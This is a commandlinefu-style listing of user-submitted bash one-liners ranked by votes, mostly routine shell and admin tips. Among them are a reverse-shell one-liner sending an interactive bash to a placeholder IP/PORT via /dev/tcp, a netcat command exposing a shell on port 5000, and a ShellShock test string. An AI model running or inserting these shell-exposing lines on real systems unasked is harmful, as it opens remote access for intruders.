Commands using bash sorted by votes

Commands using bash (69)

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bash -x ./post_to_commandlinefu.sh

nottings · 2009-02-25 19:10:21 17

bash: hotkey to put current commandline to text-editor

* in bash-shell You can capture the current commandline to a text-editor: * simply press: CTRL+x+e * Your current commandline will pe put into Your default text-editor (export EDITOR=vim)
This is sample output - yours may be different.
20

bash-hotkey: <CTRL+x+e>

alvinx · 2009-08-25 09:08:54 13
Press ctrl+r in a bash shell and type a few letters of a previous command

In the sample output, I pressed ctrl+r and typed the letters las. I can't imagine how much typing this has saved me. Show Sample Output
This is sample output - yours may be different.
```
(reverse-i-search)`las': last -a | head
```
15

^r in bash begins a reverse-search-history with command completion

abcde · 2009-02-19 18:17:54 7
Check all bash scripts in current dir for syntax errors

Check all bash scripts in current dir for syntax errors WITHOUT running them. Show Sample Output
This is sample output - yours may be different.
```
./test.sh: line 37: syntax error near unexpected token `fi'
./test.sh: line 37: `fi'
```
8

find . -name '*.sh' -exec bash -n {} \;

tsener · 2014-01-17 16:20:36 5
Rename .JPG to .jpg recursively

Recursively rename .JPG to .jpg using standard find and mv. It's generally better to use a standard tool if doing so is not much more difficult.
This is sample output - yours may be different.
7

find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;

sorpigal · 2010-01-07 15:41:17 7
Chage default shell for all users [FreeBSD]

This command will set bash as the default shell for all users in a FreeBSD system.
This is sample output - yours may be different.
6

cd /usr/home && for i in *;do chsh -s bash $i;done

casidiablo · 2009-12-31 18:48:53 5

Calculates the size on disk for each package installed on the filesystem (or removed but not purged). This is missing the | sort -rn which would put the biggest packges on top. That was purposely left out as the command is slightly on the slow side Also you may need to run this as root as some files can only be checked by du if you can read them ;) Show Sample Output

This is sample output - yours may be different.

176     acl                                                                                                                                     
44      acpi                                                                                                                                    
396     acpi-support                                                                                                                            
32      acpi-support-base                                                                                                                       
108     acpid                                                                                                                                   
524     adduser                                                                                                                                 
408     akonadi-server                                                                                                                          
2416    akregator                                                                                                                               
388     alsa-base                                                                                                                               
1840    alsa-utils                                                                                                                              
1860    amor                                                                                                                                    
96      anacron                                                                                                                                 
120     apmd                                                                                                                                    
4512    apt                                                                                                                                     
104     apt-file                                                                                                                                
376     apt-utils                                                                                                                               
140     apt-xapian-index                                                                                                                        
9184    aptitude                                                                                                                                
112     at                                                                                                                                      
104     avahi-autoipd                                                                                                                           
252     avahi-daemon                                                                                                                            
260     base-files                                                                                                                              
100     base-passwd                                                                                                                             
du: cannot access `diverted by dash to: /usr/share/man/man1/sh.distrib.1.gz': No such file or directory                                         
du: cannot access `diverted by dash to: /bin/sh.distrib': No such file or directory

dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done

pykler · 2009-10-12 14:57:54 4

run shell with your commandlinefu.com's favourites as bash_history

This makes your commandlinefu.com's favorites appear as most recent commands in your history.
This is sample output - yours may be different.
5

(cat ~/.bash_history;U='curl -s www.commandlinefu.com';$U/users/signin -c/tmp/.c -d'username=<USER>&password=<PASS>&submit=1'|$U/commands/favourites/json -b/tmp/.c|grep -Po 'nd":.*?[^\\]",'|sed -re 's/.*":"(.*)",/\1/g')>~/.h;HISTFILE=~/.h bash --login

xenomuta · 2012-08-17 12:31:51 33
Run a bash script in debug mode, show output and save it on a file
This is sample output - yours may be different.
4

bash -x script.sh 2> log

climatewarrior · 2009-06-08 19:31:51 3
Recursively Find Images, Convert to JPEGS and Delete

Simple command to convert a large number of images into jpeg-format. Will delete originals after conversion.
This is sample output - yours may be different.
4

find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;

erlebnishengst · 2009-08-10 18:27:10 5
Run a bash script in debug mode, show output and save it on a file

Sends both stdout and stderr to the pipe which captures the data in the file 'out.test' and sends to stdout of tee (likely /dev/tty unless redirected). Works on Bourne, Korn and Bash shells.
This is sample output - yours may be different.
4

bash -x test.sh 2>&1 | tee out.test

arcege · 2009-09-03 17:10:44 2
Broadcast your shell thru port 5000

Doesn't work so well if you connect from windows. Linux only sends LF where windows wants CRLF. The alternative command works better with windows, however it uses script and a named pipe.
This is sample output - yours may be different.
4

bash -i 2>&1 | tee /dev/stderr | nc -l 5000

pykler · 2010-10-20 18:32:12 2
print line and execute it in BASH

If script.sh contains only these two lines: $ uname -a $ whoami Show Sample Output
This is sample output - yours may be different.
```
+ uname -a
Linux torgerde 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:45:36 UTC 2010 x86_64 GNU/Linux
+ whoami
robert
```
4

bash -x script.sh

unixmonkey8024 · 2010-12-15 17:01:51 8
Run a command as root, with a delay

sleep 1h ; sudo command or sudo sleep 1h ; sudo command won't work, because by the time the delay is up, sudo will want your password again.
This is sample output - yours may be different.
4

sudo bash -c "sleep 1h ; command"

dbh · 2011-06-15 16:46:31 6
Batch Convert SVG to PNG (in parallel)

Convert some SVG files into PNG using ImageMagick's convert command. Run the conversions in parallel to save time. This is safer than robinro's forkbomb approach :-) xargs runs four processes at a time -P4
This is sample output - yours may be different.
4

find . -name \*.svg -print0 | xargs -0 -n1 -P4 -I{} bash -c 'X={}; convert "$X" "${X%.svg}.png"'

flatcap · 2014-04-11 14:30:30 9

Debug bash shell scripts.

Display commands and their arguments as they are executed. Useful for debugging shell scripts. Show Sample Output

bash -x SCRIPT

jcalvert · 2009-03-13 00:09:07 7

GRUB2: set Super Mario as startup tune

I'll let Slayer handle that. Raining Blood for your pleasure.
This is sample output - yours may be different.
3

sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub'

slayer_ftw · 2011-05-02 12:06:49 3
Convert encoding from cp1252 (MS Windows) to UTF-8 on source code files
This is sample output - yours may be different.
3

find . -iname *.java -type f -exec bash -c "iconv -f WINDOWS-1252 -t UTF-8 {} > {}.tmp " \; -exec mv {}.tmp {} \;

miguelbaldi · 2012-01-12 20:00:26 4
Check your bash shell for vulnerability to the ShellShock exploit

If this command prints 'x' then your shell is vulnerable. Null output confirms that you are protected. Further reading: http://allanmcrae.com/2014/09/shellshock-and-arch-linux/ Show Sample Output
This is sample output - yours may be different.
```
x
```
3

x="() { :; }; echo x" bash -c :

malathion · 2014-12-08 22:21:18 5
Display Spinner while waiting for some process to finish

alternatively, run the spinner for 5 seconds: timeout 5 bash -c 'spinner=( Ooooo oOooo ooOoo oooOo ooooO oooOo ooOoo oOooo); while true; do for i in ${spinner[@]}; do for j in seq 0 ${#i}; do echo -en "\b\b"; done; echo -ne "${i}"; sleep 0.2; done; done' Show Sample Output
This is sample output - yours may be different.
```
ooooO
```
3

while kill -0 0; do timeout 5 bash -c 'spinner=( Ooooo oOooo ooOoo oooOo ooooO oooOo ooOoo oOooo); while true; do for i in ${spinner[@]}; do for _ in seq 0 ${#i}; do echo -en "\b\b"; done; echo -ne "${i}"; sleep 0.2; done; done'; done

anapsix · 2015-05-07 19:13:08 8
Backup all databases in a MySQL container
This is sample output - yours may be different.
3

cat databases.txt | while read db; do docker exec $container_name bash -c "mysqldump -uroot -p\$MYSQL_ROOT_PASSWORD ${db}" | gzip -9 > $HOME/backups/${db}_`date +%Y%m%d_%H%M%S`.sql.gz; done

batandwa · 2018-09-02 15:23:32 73
Connect-back shell using Bash built-ins
This is sample output - yours may be different.
2

bash -i >& /dev/tcp/IP/PORT 0>&1

rux · 2011-02-16 11:54:29 2
Null a file with sudo
This is sample output - yours may be different.
2

sudo bash -c "> /var/log/httpd/access_log"

zlemini · 2014-10-02 15:39:47 10
Make changes in .bashrc immediately available
This is sample output - yours may be different.
2

bashrc-reload() { builtin exec bash ; }

Xk2c · 2016-04-30 10:37:38 6
Find non ascii characters in files in folder
This is sample output - yours may be different.
2

find . -type f -regex '.*\.$cpp\|h$' -exec grep -Pl "[\x80-\xFF]" {} \; | xargs -I % bash -c 'echo "%"; grep --color='auto' -P -n "[\x80-\xFF]" "%"'

swarzynski · 2022-08-02 11:47:59 612
1 2 3 >

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Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Set an alarm to wake up

Sleep 5h and plays the song as a wake up alarm

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Convert seconds to [DD:][HH:]MM:SS

Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

A function to output a man page as a pdf file

Tested on Fedora 12. This function will take a man page and convert it to pdf, saving the output to the current working directory. In Gnome, you can then view the output with "gnome-open file.pdf", or your favorite pdf viewer.

Know which modules are loaded on an Apache server

This let you know which modules has loaded the Apache server, very useful to know if the mod_rewrite is ready to use.

Convert seconds to [DD:][HH:]MM:SS

Capitalize first letter of each word in a string

Capitalize first letter of each word in a string.

Check for login failures and summarize

This command checks for the number of times when someone has tried to login to your server and failed. If there are a lot, then that user is being targeted on your system and you might want to make sure that user either has remote logins disabled, or has a strong password, or both. If your output has an "invalid" line, it is a summary of all logins from users that don't exist on your system.

gain all mp3s in subfolders w/o encoding

This will search all subfolders for mp3's and gain them to more or less sane defaults (without reencoding). http://mp3gain.sourceforge.net/ required!

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Commands using bash (69)

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